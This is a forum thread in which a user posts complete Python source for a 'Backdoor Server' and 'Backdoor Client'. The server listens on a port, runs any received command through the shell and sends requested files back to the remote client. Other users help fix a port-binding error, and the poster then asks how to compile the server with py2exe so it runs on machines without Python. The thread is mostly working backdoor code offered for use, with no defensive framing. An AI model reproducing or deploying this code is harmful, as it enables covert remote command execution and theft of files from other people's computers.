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Backdoor help

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Tech B
Posting Whiz in Training
268 posts since May 2009
Reputation Points: 48 [?]
Q&As Helped to Solve: 33 [?]
Skill Endorsements: 0 [?]
 
0
 

Everything works great. But sometimes I get an Error message saying something about ip/port bindings. I don't have the traceback
but this could cause problems down the road.
Any suggestions?

#Backdoor Server
#Version 0.3.0
#Every now and the I get an Error dealing with the ip/port bindings
#  seems it doesn't like the same port used over and over again...
#  This could cause problems.
#NOTE: can't change dirves
#######

import socket, os
import os.path


def cd(st):
  try:
    st.index("cd ")
    return True
  except ValueError: return False


def fil(cmnd):
  try:
    cmnd.index('=-=-')
    return True
  except ValueError: return False


def give(file):
  file = file[12:]
  try:
    f = open(file,'rb')
    f = f.read()
    x = '=-=-start-=-='+f+'=-=-fin-=-='
    return x
  except IOError:
    return "No such file"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('',1002))

s.listen(5)
conn, addr = s.accept()


while 1:
 
  data = conn.recv(1000000)

  if data == "cd..":
    x = os.path.split(os.getcwd())
    os.chdir(x[0])
    conn.send(x[0])

  #doesn't work with full paths ie "cd C:\Windows\Config\Sytem32\"
  elif cd(data) == True: 
    try:
      os.chdir(os.getcwd()+"\\%s" % data[3:])
      conn.send(os.getcwd())
    except WindowsError: conn.send("No Such dir..")

  elif fil(data) == True:
    fle = give(data)
    conn.send(fle)


  else:   
    c = os.popen(data)
    c = c.read()
    if c == '':
      conn.send("Not Readble")
    conn.send(c)
#Backdoor Client
#Version: 0.1.0
#
#when give is invoked it will copy the targets byte data
#  it creats a new file named after the target; if you use
#  give on a file you already have it will append to it doubling the size
#  tests show no effect on this appending double.
#NOTE: can't change drives
#######

import os, socket


def y(fle):
  if fle[:13] == '=-=-start-=-=' or fle[-11:] == '=-=-fin-=-=':
    return True
  else: return False

    
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((raw_input("I.P.:: "),1002)) #Change localhost to your servers IP

                          
while 1:
  

  cmnd = raw_input("Tech B>>")
  if cmnd == "commands":

    print """=-=-give-=-=
  copies the selected file to the directory
  that contains the client program
  
  syntax:
    'Tech B>>=-=-give-=-=file_to_copy.exe'

  this function is not limited to the extention due to copying of the byte code
"""  

  s.send(cmnd)
  data = s.recv(10000000)


  if y(data) == True:  
    data = data[13:]
    while 1:
      try:
        if data[-11:] != '=-=-fin-=-=':
          nfile = open(cmnd[12:],"ab")
          nfile.write(data)
          data = s.recv(10000000)
        else: 
          nfile.write(data[:-11])
          nfile.close()
      except ValueError: break
 
  if y(data) == False: print data
Member Avatar
Gribouillis
Posting Maven
3,456 posts since Jul 2008
Reputation Points: 1,140 [?]
Q&As Helped to Solve: 884 [?]
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Moderator
 
0
 

If you have problems with reusing the same port, you should try this socket option

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

just after creating the socket with socket.socket().

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Tech B
Posting Whiz in Training
268 posts since May 2009
Reputation Points: 48 [?]
Q&As Helped to Solve: 33 [?]
Skill Endorsements: 0 [?]
 
0
 

Thank you. I no longer get that Error.
Another question, I tried compiling it with py2exe, but it doesn't work on PC's that don't have python. Any suggestions?

this is the setup script

from distutils.core import setup
import py2exe

setup(version="0.3.1",
      description = "App",
      name = "Backdoor",
      console=["BackdoorServer_0_3_1.py"],
      options ={'py2exe':{'bundle_files':1}},
      )
Question Answered as of 4 Years Ago by Gribouillis
Member Avatar
Tech B
Posting Whiz in Training
268 posts since May 2009
Reputation Points: 48 [?]
Q&As Helped to Solve: 33 [?]
Skill Endorsements: 0 [?]
 
1
 

I did more reading into the setup problem. Seems I need to include a dll that isn't pulled automatically from Python2.6 and above.

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snippsat
Veteran Poster
1,041 posts since Aug 2008
Reputation Points: 483 [?]
Q&As Helped to Solve: 382 [?]
Skill Endorsements: 10 [?]
 
0
 

I did more reading into the setup problem. Seems I need to include a dll that isn't pulled automatically from Python2.6 and above

Read this.
http://www.daniweb.com/forums/thread256661.html

You
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